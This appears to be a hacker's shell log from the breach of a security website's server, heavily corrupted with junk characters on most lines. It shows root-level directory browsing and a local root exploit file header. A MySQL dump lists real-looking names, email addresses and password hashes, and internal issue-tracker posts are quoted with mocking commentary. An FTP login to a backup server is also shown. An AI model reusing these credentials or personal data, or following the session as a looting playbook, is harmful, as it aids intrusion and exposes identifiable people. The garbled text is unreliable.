, T& I) b8 x# @$bfkey = ‘cXvB3981′; // Encryption/Decryption Key for Blowfish/ e9 ^1 y, V- X+ \3 m
?>, w3 U+ H1 U. m; `6 ?
8 d. p0 v) x3 W. v' Jsh-3.2# cd ..
n& F- u) T) q, l- ~8 k4 rsh-3.2# cd com' Q) y6 k4 L* M, [. Y
sh-3.2# ls -la
O# _/ ]6 F4 Q0 C8 Ytotal 1412080 g3 |0 \. d7 W) p; o
drwx–x–x 10 com com 4096 Apr 28 12:40 . l; k& C( O0 _1 ~( c
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..; e' i# T; G5 g; q% q( g& `
drwx—— 2 com com 4096 Jun 4 04:04 backups
1 }1 ?# n3 \9 N* _7 {8 O-rw-r–r– 1 root root 2419504 Sep 28 2007 backup.sql- z( o. x% Z9 V4 e
drwxr-xr-x 2 com com 4096 May 12 15:20 backup_system9 C0 j9 r7 O8 n) H9 y9 S$ m
-rw——- 1 com com 21880 Jun 2 08:07 .bash_history9 a/ s* l3 X- E' M5 m2 i
-rw-r–r– 1 com com 24 Sep 24 2007 .bash_logout; B4 [3 w d5 f9 A5 _# Z4 [
-rw-r–r– 1 com com 176 Sep 24 2007 .bash_profile L3 B0 o7 [0 I/ t- w% ^
-rw-r–r– 1 com com 124 Sep 24 2007 .bashrc. ]( B5 P1 L8 r' R, N3 {
drwx–x–x 3 com com 4096 Jan 29 2008 domains! \4 U2 k0 I4 h+ d; ^6 n& D0 l7 V
-rw-r–r– 1 com com 16409 Jul 16 2008 FWUser.class.php.fixed& C! |- e4 z! F+ b" O
drwxrwx— 3 com mail 4096 Jan 6 19:24 imap( [5 }" j3 E% J
-rw——- 1 com com 69 Nov 18 2008 .lesshst
% c1 N- ^, |0 `3 }drwx—— 2 com com 4096 Sep 24 2007 mail
' ?& Q7 V, C9 N0 s/ n' b-rw——- 1 com com 13970 Mar 28 21:42 .mysql_history; c4 l7 \/ d& v4 \7 h/ a( R5 J
drwxr-xr-x 2 com com 4096 Aug 20 2008 .ncftp
9 x! H1 ]: z3 E* jlrwxrwxrwx 1 com com 37 Sep 24 2007 public_html -> ./domains/astalavista.com/public_html
+ c* x8 ?5 E) w9 n. i8 [-rw-r—– 1 com mail 34 Sep 24 2007 .shadow
: N" U& R$ l' x A+ d5 F$ m& ndrwx—— 2 com com 4096 Aug 26 2008 .ssh
: b1 R! t8 K. K; p- o-rwx—— 1 com com 8515 Feb 10 2008 t6 `5 s: L, @+ b; I5 }' h
-rw-rw-r– 1 com com 6265 Feb 11 2008 t.c
2 H3 R$ u ]; Wdrwxrwxr-x 2 com com 4096 Jan 30 15:47 tmp- {" L7 u3 Q7 I# p
-rw-rw-r– 1 com com 617 May 20 2008 .toprc. {; d8 k5 u+ \) E) M, X l
-rw-rw-r– 1 com com 141851766 May 19 2008 version2-backup-20080519-0900.sql/ N: }) O6 y% q. U l
-rw——- 1 com com 16629 Mar 28 21:46 .viminfo
* G+ h5 j% ~* [-rw-rw-r– 1 com com 51 Aug 25 2008 .vimrc
) Z. u$ f \* N! j8 ^0 E. V
# z0 m( s7 a5 [7 j6 d% J" n/ \* ?sh-3.2# head t.c
: q1 X& _$ ~0 w& q% @/*( F7 n) L6 {$ a6 e* t
* jessica_biel_naked_in_my_bed.c, o% ?6 f( M" e' G; Y
*
4 X; X/ |+ R* z* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
, \: ], j* j4 o+ j* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
' m! p! O3 H3 e! e6 `- S* Stejnak je to stare jak cyp a aj jakesyk rozbite.
' m- A% r, \; \! _* @3 N1 i5 R. L*
) e* b& J: f! \8 c' k) c5 r* Linux vmsplice Local Root Exploit9 u# _; z( W- A1 o1 }/ k! j
* By qaaz
8 i, j2 x A: [( a( h0 @( b% L7 _*
; h' z; G3 f$ m- e" {3 N) o' o: [+ S4 S* D2 J) T& K
sh-3.2# cd /, i* y& Q* x' g
sh-3.2# ls -la/ d4 ~6 ?5 Q3 T) }
total 3609 W2 U4 g9 o# p, R% a* `4 T0 T
drwxr-xr-x 25 root root 4096 Jun 3 02:43 .) V7 l$ x4 U. P! [8 \
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..! P. i. X& I5 p
-rw——- 1 root root 10240 Jun 3 02:39 aquota.group& U6 g/ }- S! @' L) e; m! d& H4 r
-rw——- 1 root root 10240 Jun 3 02:39 aquota.user
/ x+ s4 C1 D, e6 ]4 q-rw-r—– 1 root root 819 Jul 17 2008 astalavista.us.db
* M5 y6 U( C3 N$ ~3 C: P-rw-r–r– 1 root root 0 Jun 3 02:43 .autofsck
1 K+ y0 _, b3 r: T, L8 {-rw-r–r– 1 root root 0 Sep 16 2007 .autorelabel
2 X- S0 @" X& \, p6 J# sdrwxr-xr-x 3 root root 4096 Dec 29 2007 backup
6 H( x1 L3 o" w! A4 d* Fdrwxr-xr-x 2 root root 4096 Jun 4 04:03 bin. t6 G: t6 U: h" I
drwxr-xr-x 5 root root 4096 Jun 2 14:06 boot: _- a$ ^9 f! X" c' v
drwxr-xr-x 11 root root 3620 Jun 3 02:43 dev
8 P- n+ w+ J! `9 ^1 k5 }drwxr-xr-x 84 root root 12288 Jun 4 03:16 etc0 u" h9 k, s1 I7 v
drwxr-xr-x 14 root root 4096 Mar 11 17:56 home
' y U4 W. W) T) J: L( I& W9 t- [-rw-r–r– 1 root root 13387 Mar 20 2008 httpd.conf
& w8 J* c0 _. |4 \9 k4 F. bdrwxr-xr-x 11 root root 4096 Jun 4 04:02 lib
! e& e0 f! x& U9 [! `drwxr-xr-x 7 root root 4096 Jun 4 04:03 lib64) G2 r( d$ e% \: {
drwx—— 2 root root 16384 Sep 11 2007 lost+found: S0 c, \1 c3 b4 a
drwxr-xr-x 2 root root 4096 Mar 11 17:56 media( i5 r3 J2 ^7 X; Z
drwxr-xr-x 2 root root 0 Jun 3 02:43 misc3 g( x9 R# |4 x: M
drwxr-xr-x 2 root root 4096 Mar 11 17:56 mnt3 s/ o1 A1 m9 j* D! m3 ]+ A6 }
-rw-r–r– 1 root root 5859 Feb 3 2008 mrtg.cfg9 @9 Y: {' Q& H. Y2 N9 |% y
drwxr-xr-x 2 root root 0 Jun 3 02:43 net
- F) S( s- Y6 F7 r, e5 \) y9 Idrwxr-xr-x 3 root root 4096 Mar 11 17:56 opt2 z4 [* v: c9 O% J9 q- X
dr-xr-xr-x 264 root root 0 Jun 3 02:42 proc9 Q" R) |1 \; I% f$ t
drwxr-x— 15 root root 4096 Jun 4 08:40 root. ]9 { U: G B7 i3 b' o: [
drwxr-xr-x 2 root root 12288 Jun 4 04:03 sbin
7 d: @; c( g* Rdrwxr-xr-x 2 root root 4096 Mar 11 17:56 selinux
0 T% d0 N9 L( A' }drwxr-xr-x 2 root root 4096 Mar 11 17:56 srv; [, T' A& n, x$ P- b
drwxr-xr-x 11 root root 0 Jun 3 02:42 sys# Z; |- l" b2 r- L& @3 ? ]
drwxrwxrwt 4 root root 122880 Jun 4 10:35 tmp
& o8 c. r* R" t9 S( z- Odrwxr-xr-x 16 root root 4096 Jun 2 13:56 usr4 `/ P/ F0 f# G% Y
drwxr-xr-x 26 root root 4096 Jun 4 03:16 var
" Z% J3 V1 A" c: J) l% f+ `2 |% X! d# ]! V
sh-3.2# cd opt; x! U m! ]9 G8 A1 [9 G2 C
sh-3.2# ls -la6 L" W6 E' _7 A J3 x8 y* A Q1 N% p
total 208 ]! h1 L9 c, B7 D
drwxr-xr-x 3 root root 4096 Mar 11 17:56 .
$ B1 `) g$ T& F; j5 _drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..3 m: }, X- n" d0 M- O
drwxr-xr-x 15 root root 4096 Mar 20 2008 lsws
) P* m8 c" `, I9 h
" e( c* c: v0 Z8 Ash-3.2# cd lsws/
" G2 A& A0 P, L4 n% xsh-3.2# ls -la/ P+ @/ ~1 l; }- w) P4 |
total 108
! C! d2 a0 F: w$ Ldrwxr-xr-x 15 root root 4096 Mar 20 2008 .( S8 W) Y: a h: P
drwxr-xr-x 3 root root 4096 Mar 11 17:56 ..7 `; _6 M2 P: E Z7 F2 b" a7 v
drwxr-xr-x 8 root root 4096 Mar 20 2008 add-ons
G* x/ |, X; w- kdrwxr-xr-x 13 root root 4096 May 29 15:10 admin
8 t4 `: p/ U% ^# Hdrwxr-xr-x 5 apache apache 4096 May 29 15:10 autoupdate
1 V, S: C. D, @, R9 Xdrwxr-xr-x 2 root root 4096 May 29 15:10 bin9 f; a" `* d' |/ T4 g* |; h
drwx—— 4 apache apache 4096 Jun 3 02:43 conf
( N4 f+ ^2 S1 X! L6 G( Y0 `! \drwxr-xr-x 7 apache apache 4096 Mar 20 2008 DEFAULT6 ] `' s: S9 e
drwxr-xr-x 2 root root 4096 Sep 15 2008 docs. ~& t0 ]+ c$ @
drwxr-xr-x 2 root root 4096 May 29 15:10 fcgi-bin* N" Q" o2 o4 R3 @) u1 f; h: ]7 ]
drwxr-xr-x 2 root root 4096 Sep 15 2008 lib1 x/ }7 Q/ q2 d8 k' F+ R4 V: L
-rw-r–r– 1 root root 6959 May 29 15:10 LICENSE& Y: C2 w- D% w
-rw-r–r– 1 root root 2214 May 29 15:10 LICENSE.OpenLDAP s5 @* K% }- X* n) ?: T& L
-rw-r–r– 1 root root 6279 May 29 15:10 LICENSE.OpenSSL
j j+ `6 M, {* o; z; H-rw-r–r– 1 root root 3208 May 29 15:10 LICENSE.PHP
3 u- |* D2 ~- [# \3 B+ U# p+ Ddrwxr-xr-x 2 root root 20480 Jun 4 09:55 logs
0 P1 C6 V. z, u: ydrwxr-xr-x 2 root root 4096 Mar 20 2008 php" e2 t) U( r1 N9 k% l3 H
drwx—— 2 apache apache 4096 Mar 20 2008 phpbuild" G: G( _" ^5 j+ a6 q+ W
drwxr-xr-x 3 root root 4096 Mar 20 2008 share3 G' q* {$ l$ d6 s6 n2 C, E; D
-rw-r–r– 1 root root 6 May 29 15:10 VERSION9 U, i! H* A/ S3 V
& I# C# ~$ m1 E& wsh-3.2# cd conf
. g9 g3 O$ X/ {/ ~) gsh-3.2# ls -la8 y3 q1 M7 M# ~
total 48
7 B) E6 u2 G$ N& |/ Y+ h) V% e* F2 gdrwx—— 4 apache apache 4096 Jun 3 02:43 .
$ F( p# s' `; G2 vdrwxr-xr-x 15 root root 4096 Mar 20 2008 ..$ ]& [6 p' X4 U/ H& S: k7 x$ c9 r
drwx—— 2 apache apache 4096 Mar 20 2008 cert
0 _1 W2 j* I' w-rw-r–r– 1 apache apache 6668 May 29 15:13 httpd_config.xml$ l N; I( b) F; j* R+ P: N
-rw——- 1 apache apache 6613 May 27 18:33 httpd_config.xml.bak
3 C+ y2 {7 s3 a' T9 V-rw-r–r– 1 root apache 0 Jun 3 14:11 .last
) H4 L2 H( _0 E* \/ j+ H- V-rw——- 1 apache apache 256 May 29 15:10 license.key" m" y0 S: U( Z- m3 G5 V- ~
-rw——- 1 apache apache 256 Mar 21 2008 license.key.old9 s6 R/ T- ]. p0 l
-rw——- 1 apache apache 3320 Mar 20 2008 mime.properties
/ v9 A; E6 P0 w/ O+ W3 a, t& Z5 H8 C$ u-rw——- 1 apache apache 20 May 29 15:10 serial.no
/ U% L& O1 [& H0 y* d3 @drwx—— 2 apache apache 4096 Mar 20 2008 templates- R/ A4 y j. l/ V
; `4 H( P5 T6 ^# I
sh-3.2# cat serial.no2 \$ D* E: P. t, B
IbDl-oVsO-CKqL-wVRa
4 H4 ~7 T; x0 W$ K* `9 K/ W
" ]% l% t. u7 s U3 i0 s8 z# Ksh-3.2# mysql- z) |7 F5 ]( ]5 |
Welcome to the MySQL monitor. Commands end with ; or \g.
# d+ ?7 |# v% ^- n0 @Your MySQL connection id is 286844
% ^& e) W& Q6 }0 s2 S" Y3 wServer version: 5.0.45-community-log MySQL Community Edition (GPL)
; ?* H( ?- E8 a3 D
+ l; k3 ]5 k |: C5 G3 nType ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.# f2 [4 N% L3 Q/ a6 w
# b0 D- o0 F5 D }: E1 kmysql> show databases;6 Y5 H% s& D9 z; Z, b
+———————–+5 ^8 b* B; c/ d9 ?
| Database |
- @- n2 R; i1 v) f1 i2 N+———————–+1 G. J. z; h/ V2 w. o; a
| information_schema |8 g" s3 s- r2 m* d3 c: |8 ?( f
| astanet_ads |- B6 o2 Y' t' F
| astanet_mailing_lists |& Y6 u3 t& j4 g" |' A) l$ b7 J
| astanet_mediawiki |
$ D u+ U! c: c- _' Z) A| astanet_membersystem |
2 R# O4 v. [0 {5 ?% N5 ?- H% n4 ]| com_contrexx |
; q; ?8 p9 T, t- b, m) g| com_contrexx2 |
( f7 v% a/ G7 r" m( r6 d| com_contrexx2_live |
: W, R# R7 U% }7 E: S5 N| da_roundcube |% Z0 v* a3 P& w( H1 ] O3 _3 O
| dolphin |& `, b3 c5 K! @7 w
| ideapool |
9 W% `/ E7 ]- |# w| mysql |- g0 t0 [1 U# h4 P4 T6 l. A
| test |
* L5 D- O% d5 l; o2 B| yourmaster |
& _; w! C$ ]! K0 H1 M+———————–+
' s# u. m* ~6 }$ l" P7 n4 D14 rows in set (0.00 sec)
7 E9 `. ^( P( P
8 z/ R. |! c$ I& V* ?: Z0 Pmysql> use ideapool* M5 H- H* x, ?' T$ [. _
Database changed
. T# {# v& ` B4 tmysql> show tables;- x0 w( q6 u" o' ~# z" H3 ~- n9 d9 L
+———————————–+: M- {$ r6 B8 _6 N: h6 ~# X
| Tables_in_ideapool |
- x! y+ R) Z6 T( k9 x2 s+———————————–+5 t) `; a3 \# D3 y- T ^
| eventum_columns_to_display |
3 P* b9 d8 J, _ b6 a7 k| eventum_custom_field |% c$ R; q, [6 u9 S% l, U+ P
| eventum_custom_field_option |
" E7 J% v1 J+ e& V| eventum_custom_filter |
& s. W' s* A4 v9 w, w9 G; e! ]" I7 w| eventum_customer_account_manager |* G/ l- g3 E# [6 H, q+ M
| eventum_customer_note |8 z; g( O0 `6 K1 \: T8 G) r6 R
| eventum_email_account |+ m9 V, `& p$ Y/ q$ F
| eventum_email_draft |
3 l7 A8 i% h+ d8 J/ n| eventum_email_draft_recipient |: r. T/ E1 e2 B
| eventum_email_response |) E7 J# S3 ?7 g" A" V' p. {
| eventum_faq |
5 ~. [, _/ T4 g3 @3 T& _| eventum_faq_support_level |
" `. M0 S5 a3 R0 R, m! s6 ^| eventum_group |$ A( a4 }% _, B; V0 c
| eventum_history_type |
, P( T& S3 K: r( d4 A: ~! T0 \| eventum_irc_notice |
. @; I' Z+ c# e: K$ }| eventum_issue |
8 i* U2 y" u! a: g. u| eventum_issue_association |: E [) {) w# q; l, w6 d. W) b1 j8 r
| eventum_issue_attachment |
, e1 \* ?) h# ^, |, d| eventum_issue_attachment_file |
$ @0 A. a& s* ?6 h. u9 S3 x| eventum_issue_checkin |% `5 p0 _! `/ R/ \% ?' _
| eventum_issue_custom_field |
7 {" A4 n. P' ]6 |5 p! k; ~| eventum_issue_history |
. T" L, M! l! f9 o5 p) P0 O6 n| eventum_issue_quarantine |. P: P8 U# _4 b5 q' s" T; [& V
| eventum_issue_requirement |
/ l" @/ g. K( P6 o! q" C* k| eventum_issue_user |5 F; q4 T9 e$ p2 x; Q
| eventum_issue_user_replier |
- R: u6 Q7 g5 a& z/ T- d7 l* Y| eventum_link_filter |
7 z( l& F+ y) v" L+ o( j) j| eventum_mail_queue |
; d% Y- T D" p2 || eventum_mail_queue_log |
9 m: ~' ?; R8 z' e3 X3 S. k. g" y| eventum_news |
) ^* `& j/ ^1 O+ f3 T| eventum_note |
" a- E d5 F. l1 M| eventum_phone_support |; L/ T$ C7 A1 N0 n
| eventum_project |% ]) d* P( v Y1 X
| eventum_project_category |/ k. C3 c8 t3 i; P$ I# [0 Y
| eventum_project_custom_field |
) ~$ W8 o7 t1 C4 L/ Z/ U" ]| eventum_project_email_response |2 G) b9 C4 [! e$ f
| eventum_project_field_display |
$ r# \& x: n7 _( D| eventum_project_group |
$ m& V; o0 z; K5 [, K| eventum_project_link_filter |! z' E& R- D3 L1 c. X+ m3 v
| eventum_project_news |+ {$ [' f8 T$ r5 r7 \" l
| eventum_project_phone_category |1 e$ W% D# o3 _# ]
| eventum_project_priority |
# j6 Q, p8 f+ D5 x* y. l: }% v| eventum_project_release |
$ y- }' X% R/ w# X$ u$ U7 ~+ J| eventum_project_round_robin |
4 ^) l5 O6 O! H0 o" e| eventum_project_status |3 H; n/ p! w' ^$ W' [
| eventum_project_status_date |3 L/ N# P: L" B) T% q8 O
| eventum_project_user |
3 C" i' x2 X2 z% z6 M9 q7 y| eventum_reminder_action |% f+ Q4 y- v. q }" ^ j
| eventum_reminder_action_list | w- l" M, L* H( A
| eventum_reminder_action_type |
& Y: o/ `. C$ `" x; D" |% J| eventum_reminder_field |
7 y: ~3 x: c/ ~% ]* r" ^' t5 _| eventum_reminder_history |
3 {! |! r4 S/ |3 d+ A' c( @3 }| eventum_reminder_level |
) F: I+ P# I E. y| eventum_reminder_level_condition |2 `- i1 Q$ `% p0 f
| eventum_reminder_operator |3 e% ^, {& b# q/ e3 z5 G6 }3 g
| eventum_reminder_priority |4 ]7 F) _2 H; i b. G7 G9 Q* |
| eventum_reminder_requirement |
6 q2 t- c5 z1 u6 S" _% D0 i| eventum_reminder_triggered_action |
. |3 R' H# B5 S3 }) m& C5 i7 W. u| eventum_resolution |
# R2 C0 P' X" `" J| eventum_round_robin_user |
$ I: E1 \% e6 z| eventum_search_profile |% ~" ~# a' D- w$ y2 z. w7 W
| eventum_status |* f2 J! P2 ^4 _& b7 g
| eventum_subscription |0 N) j- l7 \% V( T3 S K* S
| eventum_subscription_type |
9 u: e2 v1 Z8 u| eventum_support_email |
1 M2 L% A7 Q5 w! w( F| eventum_support_email_body |6 h8 F+ T# N& i. ~: r* V
| eventum_time_tracking |* o) l2 Z5 Q, B
| eventum_time_tracking_category |! I5 `+ _( [4 a5 @( |
| eventum_user |
& V0 B% B6 H& L2 z8 \+ n* e+———————————–+0 R! i# f7 c: X( B/ e. x" D
69 rows in set (0.00 sec)" E+ B& ]3 {; a- j; c3 |" t
_% r. P/ y# ] z3 B8 c+ Amysql> describe eventum_user;" c, k9 y! X7 j
+————————-+——————+——+—–+———————+—————-+/ x; _, o- [( D+ |
| Field | Type | Null | Key | Default | Extra |
- s3 S9 R$ ^$ B3 r S1 T- Z. D6 P+————————-+——————+——+—–+———————+—————-+$ D6 z0 f9 b8 P, d+ K/ c5 A
| usr_id | int(11) unsigned | NO | PRI | NULL | auto_increment |
: c4 P9 p# z* J4 }2 m| usr_grp_id | int(11) unsigned | YES | MUL | NULL | |
2 @. d( Y# z+ t {" ], A| usr_customer_id | int(11) unsigned | YES | | NULL | |; i: V. v: \8 Z$ b- E
| usr_customer_contact_id | int(11) unsigned | YES | | NULL | |
6 z, [- N3 Q$ C9 t/ I9 V) r| usr_created_date | datetime | NO | | 0000-00-00 00:00:00 | |
/ f+ F# H' E8 j# V| usr_status | varchar(8) | NO | | active | |5 e. C4 h* o1 }& U0 B
| usr_password | varchar(32) | NO | | | |
( R( e4 g& B# b8 Y/ A% b( s9 L| usr_full_name | varchar(255) | NO | | | |: b2 U' c- a& h: d$ e* X n2 m; w
| usr_email | varchar(255) | NO | UNI | | |/ E8 `% a' {% F4 [& }4 c, H
| usr_preferences | longtext | YES | | NULL | |5 `! D% _' d" ]7 `" v% K
| usr_sms_email | varchar(255) | YES | | NULL | |
0 h; Q# P3 s. ~( Y" B. O+ u| usr_clocked_in | tinyint(1) | YES | | 0 | |* l9 c" z5 [4 e) P
| usr_lang | varchar(5) | YES | | NULL | |
& C1 |3 T0 w6 j5 }+————————-+——————+——+—–+———————+—————-+, a7 X0 B G4 f- m* d
13 rows in set (0.00 sec) C1 F5 o; h4 O S6 T6 m# j
' X' K }( k4 t1 @, J/ v! n. B$ L) omysql> select usr_full_name,usr_email,usr_password from eventum_user;
' K6 t* \3 K; ?9 d5 ~ t. D+———————-+——————————-+———————————-+6 ?" I( z* P& U0 G) ]3 W
| usr_full_name | usr_email | usr_password |
3 S2 l- _# }) L! Y+———————-+——————————-+———————————-+
) T5 E* Q/ N5 y& M( [3 g| system | 链接标记system-account@example.com | 14589714398751513457adf349173434 |! j: \+ e# v' f
| Developer (Paulo) | 链接标记paulo.santos@astalavista.ch | 26a35a1cf8895c27fb37ef4cf149f7bb |( @( M2 T& ~; s- K/ Z o
| Be1er0ph0r | 链接标记be1er0ph0r@gmx.de | 229766dc0ca1fb67160a8782321dfdce |& f0 P. \7 D: O# c6 F7 t# q
| Admin | 链接标记pascal.mittner@astalavista.ch | 57c2877c1d84c4b49f3289657deca65c |
: N7 R" X# v4 s2 h4 _% U' Q4 Y; g| ADMIN | 链接标记admin@astalavista.ch | f6fdffe48c908deb0f4c3bd36c032e72 |
) Q1 W; O! V0 x7 x| USER | 链接标记user@astalavista.ch | 5cc32e366c87c4cb49e4309b75f57d64 |
; L4 z7 G$ ^( c" J0 A* v0 Y| Glafkos - (nowayout) | 链接标记glafkos@astalavista.com | f7735ab119023a8abb2301e67f81cd67 |' h- N- N* X. i7 U9 X( e& n
| Joao | 链接标记joao.pontes@astalavista.net | f805c071d7c823b937448c54c047b9fd |
* ^" w9 Q" ~$ i0 _| Pascal | 链接标记pm@astalavista.ch | e10adc3949ba59abbe56e057f20f883e |% X5 O0 N) \" T+ t! c3 _
| commander | 链接标记commander@astalavista.com | 932cd250918f881d41feb0b93883a926 | S4 s- g; p" m0 P* t
| ishtus | 链接标记ishtus@astalavista.com | a587ffc88b3dbbba3fd2fe67af649ff0 |" }5 d; p. U( j3 `" a+ K1 ]
| sykadul | 链接标记sykadul@astalavista.com | 20224a2f3eeb57a13a10b4df543c128e | o) Z, ]0 z& U' f: O
| Zach McElroy | 链接标记admin@badfoo.net | 33c5d4954da881814420f3ba39772644 |
1 K, p' ] w" @( r/ C- ?# J+ k) ^& D| usb | 链接标记usbenigma@hushmail.com | b513f22c3db6932855ad732f5f8a10a2 |! R; x) W, S V8 u, D9 k
| cyph3r | 链接标记cyph3r@astalavista.com | 6e1e50017a945e874d52ec91f9ab2cee |
' m7 t P/ X2 \) D) u/ C+———————-+——————————-+———————————-+
% h5 {) o* M, G- ^15 rows in set (0.00 sec)
K8 B2 n# x9 E: {2 t, n) D) d& U3 r( s
mysql> select iss_description from eventum_issue where iss_id = 43;
! `; V& ^4 `8 U7 p, C3 b, ]2 A; v+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+
) S1 w7 g) K3 U& _+ ?| iss_description
" `; o! r# [$ E. _1 o|
# i& }/ s4 P) k H+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+. G" X9 N; I/ q1 y& ]
| Ok guys, to boost our traffic and revenue what we have to do is keep users logged in… how to do that? well think about it… if a user is watching a movie… he’ll be% \% B! C9 ^1 F3 p
connected for 90 mins… 120mins… so what i propose is something like:) Q% w; P" J; S% B/ w
链接标记[url]http://www.surfthechannel.com/[/url]
. p* x2 q. t& N8 L* L3 ssince they only provide LINKS to the movies they are LEGAL and don’t break DMCA rules… so we could do the same… “iframe” the content on our website or use a system u. m& y6 Y. \- _, l" p, {" f
like podcast that uses our own flash player to stream content from other places, therefore the content NOT BEING HOSTED ON OUR SERVERS but only viewed… which doesn’t
) L/ |$ ^/ t! Lbreak any laws as far as i am aware (we should research on that just to be sure though!) Of course we would have to provide users with the button to take the content off
6 M7 ^6 ~0 }. Qif they think it breaks copyright laws and we will remove it… i think that makes it on the border of DMCA…
& Q1 w- @' A/ [ W
) E5 t9 s* @8 l9 L% QWe could also put advertisement during play on the flash video player itself… extra $$…- o* \8 c5 k5 c9 A/ ^$ R$ R0 H
" m+ ?& y: m4 r; N7 \By sykadul |% Q* @8 @" x7 \- w j+ k0 }
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+* o$ p9 z+ g: C. L' i0 j# x
1 row in set (0.00 sec)
" X- j5 e; y* p- J# E& V+ U* ]/ C& e6 P& g1 m- Z/ ^( d* x
// Money and extra $$ is all they care about. remember that.& h9 F6 F$ k) |+ `
$ C4 }8 p+ a$ x" n4 e' tmysql> select iss_summary,iss_description from eventum_issue where iss_id =42;
/ n0 L2 v: C8 p% b7 Y T1 m+————————+——————————————————————————————————————————————————————————————————————————————-+5 ^( q+ m5 T# u& M
| iss_summary | iss_description
1 T7 \' i0 @: t8 A$ z7 z2 c|9 ]) {0 s* ^( q: X' m F4 e
+————————+——————————————————————————————————————————————————————————————————————————————-+
' r) p* e8 W; U) \' B5 m| Forum for REAL EXPERTS | Hello,
+ X$ w4 G4 c# i
; K8 |0 H+ i0 _$ [- G" [' R9 ?Ishtus and I,, t" V6 h7 @8 P4 T! P7 R9 l0 L
) a0 B1 ` x- Q3 ^
Came up with a crazy and very workable and professional idea. We create an invitation only forum with the BEST security experts worldwide7 G6 ]9 {. a! N- m4 n
ONLY. Security Experts from Bugtraq lists, exploit writters, reverse engineers etc..
, e1 Q. ]8 ?; V I6 m" t1 {
# b+ h$ D4 l4 U. W: b& F1 u9 L* kOne example a friend of mine from coresecurity.com!
4 J+ A: k& V: d7 z/ \9 q- I: w
! \6 _- n% h) jWe could have big projects etc.. and we can work all together to bring to the security community exploits, open source software etc..
( ^) d* H# d% ?9 t+ b0 U$ ]1 t/ e2 d# g( @+ ]4 N4 w
|
w8 A+ E9 O1 h! S+————————+——————————————————————————————————————————————————————————————————————————————+( y) r3 z( d8 K5 V
1 row in set (0.00 sec): F' X- z6 z+ d. w! n, H2 I
0 p: Y% R$ @# R( p) z9 {9 U
// What an awesome yet original idea Ishtus and him… bring MORE security “experts”, thats exactly what the world needs…
# t# p% p; k3 q( u7 s) \: P: b. J* C/ g! H8 n* O' J( l
mysql> select iss_summary,iss_description from eventum_issue where iss_id = 16;5 U9 \$ @3 {) } K1 P7 o; i! Q
+——————+———————————————————————————————+
4 V" |3 J# C9 z$ B. t7 H& h0 d| iss_summary | iss_description |, X% A. W( z+ R2 }/ s
+——————+———————————————————————————————+% m; {2 R g, Q- r0 i3 u, ?# |
| Website guidance | Virtual Girl which guides you trought the website.
7 h7 \ {: D# m" I a- L/ S
% O+ B: b$ b7 v2 D9 _: n$ K- xWe need a girl with who you can ( talk )!!!
7 B" _; ~- S/ N5 d8 ?Also for the News!
( m3 ?3 G6 o7 p3 ?$ ySo my suggestion is a girl who read you the news loud if you like!1 q$ Q. u# ?9 s
you can choose between read yourselfe or she read it for you or both!
# S) d3 I4 b4 B
3 t7 J8 u) ]7 ~4 X" \" tGo to 链接标记[url]www.heise.de[/url]! There is an example for Voice News! It’s a good thing!!!7 ~) y5 w7 i6 R; ]0 D
1 Y; J) h4 H' N) G+ S3 ?1 HHave a look on the example girls!!
9 P; G; }3 c4 i; F* a& m0 M1 h6 g
5 x2 G6 V; Q, u" b4 D链接标记[url]http://www.yaoti.com/de/free_yaoti.html[/url]
" i d/ k; G! _: h2 u- l) S* w' d2 X
or that
* z2 c6 D; R! E8 i2 I% C
J; y/ o3 t6 Z5 G1 m/ R链接标记[url]http://www.yellostrom.de/[/url]
9 p( X( p% ]- o% I5 o2 K
- a* n( `- W5 w. ~4 `|
1 C: ^; P2 G @( P* x+——————+———————————————————————————————+
/ F" X( h/ I! u: A3 F! G O1 row in set (0.00 sec)3 }- G) N- G, ^2 P
5 k U; }0 J8 O% Y
// ha ha.# U" k" |9 U6 |; z- u
# @5 l0 r, f, c9 d& D9 X% |" X
mysql> select iss_summary,iss_description from eventum_issue where iss_id = 7;
* M8 M1 g; ^, }# p" B$ Z+ L+————————–+———————————————————————————————————–+
# ~* |% H! ]3 T: n R| iss_summary | iss_description |
/ Y" |- R) J/ `) `+————————–+———————————————————————————————————–+
7 P' \6 ^- K( l6 V( B| Exploit Development Team | We need an exploit development team to focus on exploit research and publication under Astalavista name. |# s! l* M: {" Z
+————————–+———————————————————————————————————–+
. \1 ]. f. L- z5 P$ n/ F& N3 o1 row in set (0.00 sec)( h% o5 g4 g. J1 ]" r
; q9 c( o, u% T" h/ O( C' e$ P' h// LOL.
0 G o# x9 I9 s* }7 i# J: C9 S0 K4 ^; q! _4 D" V0 `, Z
mysql> exit. k- i7 M9 ^. z6 S
Bye
3 f1 v% z8 ` z* B; T3 I3 c) t1 W8 J7 Z7 X: y. V; b. y
sh-3.2# ftp 212.254.194.163/ `# n9 d+ O- e" M- r" |6 ?# `6 K
Connected to 212.254.194.163.1 U9 X9 E4 o7 |5 L1 }
220 BackupCOM_VW FTP server ready.
' W, f% `5 D7 {: ^9 o1 V504 AUTH: security mechanism ‘GSSAPI’ not supported. p6 o) m6 t, l) o! L/ p
504 AUTH: security mechanism ‘KERBEROS_V4′ not supported.
& N; K. F$ A0 t1 Y9 ?( P7 m8 M. }KERBEROS_V4 rejected as an authentication type9 C: n. C+ h q$ j
Name (212.254.194.163:root): astalavista.com
; z) N& K8 b+ T4 `* j$ i331 Password required for astalavista.com.7 ~# n1 F6 r7 o& }2 \# Z
Password:( R* T: ?; c% s7 |) d% s% L- \
230 User astalavista.com logged in., V4 P; ~% k q/ k5 J1 ?
Remote system type is UNIX.) K, T- R! f) W
Using binary mode to transfer files.
n4 e' O; T4 hftp> ls -la* E# c8 h! l1 Z8 t2 B, J U
227 Entering Passive Mode (212,254,194,163,2,188)
; s, W& V* ?: J. m6 ]150 Opening BINARY mode data connection for ‘file list’.
% Y8 n/ J1 T/ B3 y1 e: }dr-x—— 1 root users 4096 Jun 4 06:13 astalavista.com9 C- q% q6 l6 L- Z: y# u
226 Transfer complete.
